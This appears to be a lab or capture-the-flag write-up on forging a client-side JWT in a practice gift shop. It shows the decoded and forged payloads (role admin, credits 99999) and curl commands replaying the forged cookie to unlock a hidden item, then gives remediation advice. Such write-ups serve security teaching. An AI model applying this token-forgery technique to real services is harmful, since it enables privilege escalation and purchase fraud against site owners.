Case file

Unsigned JWT role and credit tampering in a gift shop

Foundations web engagement: TryHeartMe stored role and credits in a client-side JWT; forging admin with inflated credits unlocked the hidden catalog item.

Foundations20 minWeb · JWT · Authorization · Session Tampering
  • Shop JWT carried role=user and credits=0. Unsigned or weakly verified tokens accepted role=admin and high credits, exposing the hidden purchase path.

  • Burp captured tryheartme_jwt with role user and credits 0.

  • Tampered JWT with admin role and credits unlocked the hidden item.

01

Engagement summary

Shop JWT carried role=user and credits=0. Unsigned or weakly verified tokens accepted role=admin and high credits, exposing the hidden purchase path.

TRYHEARTME ran a gift shop on TCP 5000. After signup, product pages reflected role user and zero credits. The tryheartme_jwt cookie was a HS256 JWT whose payload included email, role, credits, and theme. Decoding showed authorization decisions were driven by those claims. Replacing the payload with role admin and a large credits balance, then replaying the cookie, elevated the session and unlocked the hidden valenflag item for purchase.

Business impact

Client-controlled JWTs for role and balance are privilege escalation and fraud. Sign with a server-only secret (or asymmetric keys), never trust role/credits from the token without server-side lookup, and reject tokens with alg none or unexpected algorithms.

02

Session JWT inspection

Burp captured tryheartme_jwt with role user and credits 0.

COOKIE · DECODED

tryheartme_jwt.payload.json

{
  "email": "test@test",
  "role": "user",
  "credits": 0,
  "iat": 1774801980,
  "theme": "valentine"
}

OPERATOR · JWT

savvy@lab:~$ curl -s http://10.48.179.122:5000/product/rose-bouquet -H 'Cookie: tryheartme_jwt=<token>' | grep -i role

role: user credits: 0

03

Forged admin purchase

Tampered JWT with admin role and credits unlocked the hidden item.

FORGED PAYLOAD

forged.json

{
  "email": "test@test",
  "role": "admin",
  "credits": 99999,
  "theme": "valentine"
}

OPERATOR · PURCHASE

# replace tryheartme_jwt with forged token; refresh shop

savvy@lab:~$ curl -s http://10.48.179.122:5000/ -H 'Cookie: tryheartme_jwt=<forged>' | grep -i valenflag

# hidden item visible; purchase completes

Remediation

Store role and balance server-side; put only a subject id in the JWT. Use strong HMAC/RSA verification and short TTLs. Log claim-tamper failures.